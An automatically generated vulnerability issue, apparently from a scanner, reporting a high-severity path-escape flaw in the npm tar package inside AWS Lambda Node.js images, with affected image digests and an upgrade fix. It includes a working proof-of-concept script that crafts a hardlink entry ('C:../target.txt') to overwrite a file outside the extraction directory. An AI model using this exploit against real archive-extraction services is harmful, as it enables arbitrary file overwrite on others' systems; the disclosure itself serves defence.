GHSA-qffp-2rhf-9h96 (HIGH): detected in Lambda Docker Images.

[the-lambda-watchdog]

CVE Details

CVE ID	Severity	Affected Package	Installed Version	Fixed Version	Date Published	Date of Scan
GHSA-qffp-2rhf-9h96	HIGH	tar	6.2.1	7.5.10	2026-03-05T00:52:32Z	2026-03-05T10:18:17.033547066Z

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Affected Docker Images

Image Name	SHA
public.ecr.aws/lambda/nodejs:latest	public.ecr.aws/lambda/nodejs@sha256:cf6459f182e22a52e2bfd10576477c3c70f05ab404d8695bc16b6480c7d37505
public.ecr.aws/lambda/nodejs:24	public.ecr.aws/lambda/nodejs@sha256:4f78a2edca6966a4ee0f056562d8510267df8f39c90df00f23d52f0b581cbeeb
public.ecr.aws/lambda/nodejs:22	public.ecr.aws/lambda/nodejs@sha256:cf6459f182e22a52e2bfd10576477c3c70f05ab404d8695bc16b6480c7d37505
public.ecr.aws/lambda/nodejs:20	public.ecr.aws/lambda/nodejs@sha256:5643651ce243fcd5b6209cd5ac348cb2e66a7a9eb8f050c470ad4d19e993c5e4

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Description

Summary

tar (npm) can be tricked into creating a hardlink that points outside the extraction directory by using a drive-relative link target such as C:../target.txt, which enables file overwrite outside cwd during normal tar.x() extraction.

Details

The extraction logic in Unpack[STRIPABSOLUTEPATH] checks for .. segments before stripping absolute roots.

What happens with linkpath: "C:../target.txt":

1. Split on / gives ['C:..', 'target.txt'], so parts.includes('..') is false.
2. stripAbsolutePath() removes C: and rewrites the value to ../target.txt.
3. Hardlink creation resolves this against extraction cwd and escapes one directory up.
4. Writing through the extracted hardlink overwrites the outside file.

This is reachable in standard usage (tar.x({ cwd, file })) when extracting attacker-controlled tar archives.

PoC

Tested on Arch Linux with tar@7.5.9.

PoC script (poc.cjs):

const fs = require('fs')
const path = require('path')
const { Header, x } = require('tar')

const cwd = process.cwd()
const target = path.resolve(cwd, '..', 'target.txt')
const tarFile = path.join(process.cwd(), 'poc.tar')

fs.writeFileSync(target, 'ORIGINAL\n')

const b = Buffer.alloc(1536)
new Header({ path: 'l', type: 'Link', linkpath: 'C:../target.txt' }).encode(b, 0)
fs.writeFileSync(tarFile, b)

x({ cwd, file: tarFile }).then(() => {
  fs.writeFileSync(path.join(cwd, 'l'), 'PWNED\n')
  process.stdout.write(fs.readFileSync(target, 'utf8'))
})

Run:

cd test-workspace
node poc.cjs && ls -l ../target.txt

Observed output:

PWNED
-rw-r--r-- 2 joshuavr joshuavr 6 Mar  4 19:25 ../target.txt

PWNED confirms outside file content overwrite. Link count 2 confirms the extracted file and ../target.txt are hardlinked.

Impact

This is an arbitrary file overwrite primitive outside the intended extraction root, with the permissions of the process performing extraction.

Realistic scenarios:

• CLI tools unpacking untrusted tarballs into a working directory
• build/update pipelines consuming third-party archives
• services that import user-supplied tar files

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Remediation Steps

• Update the affected package tar from version 6.2.1 to 7.5.10.

About this issue

• This issue may not contain all the information about the CVE nor the images it affects.
• This issue will not be updated with new information and the list of affected images may have changed since the creation of this issue.
• For more, visit Lambda Watchdog.
• This issue was created automatically by Lambda Watchdog.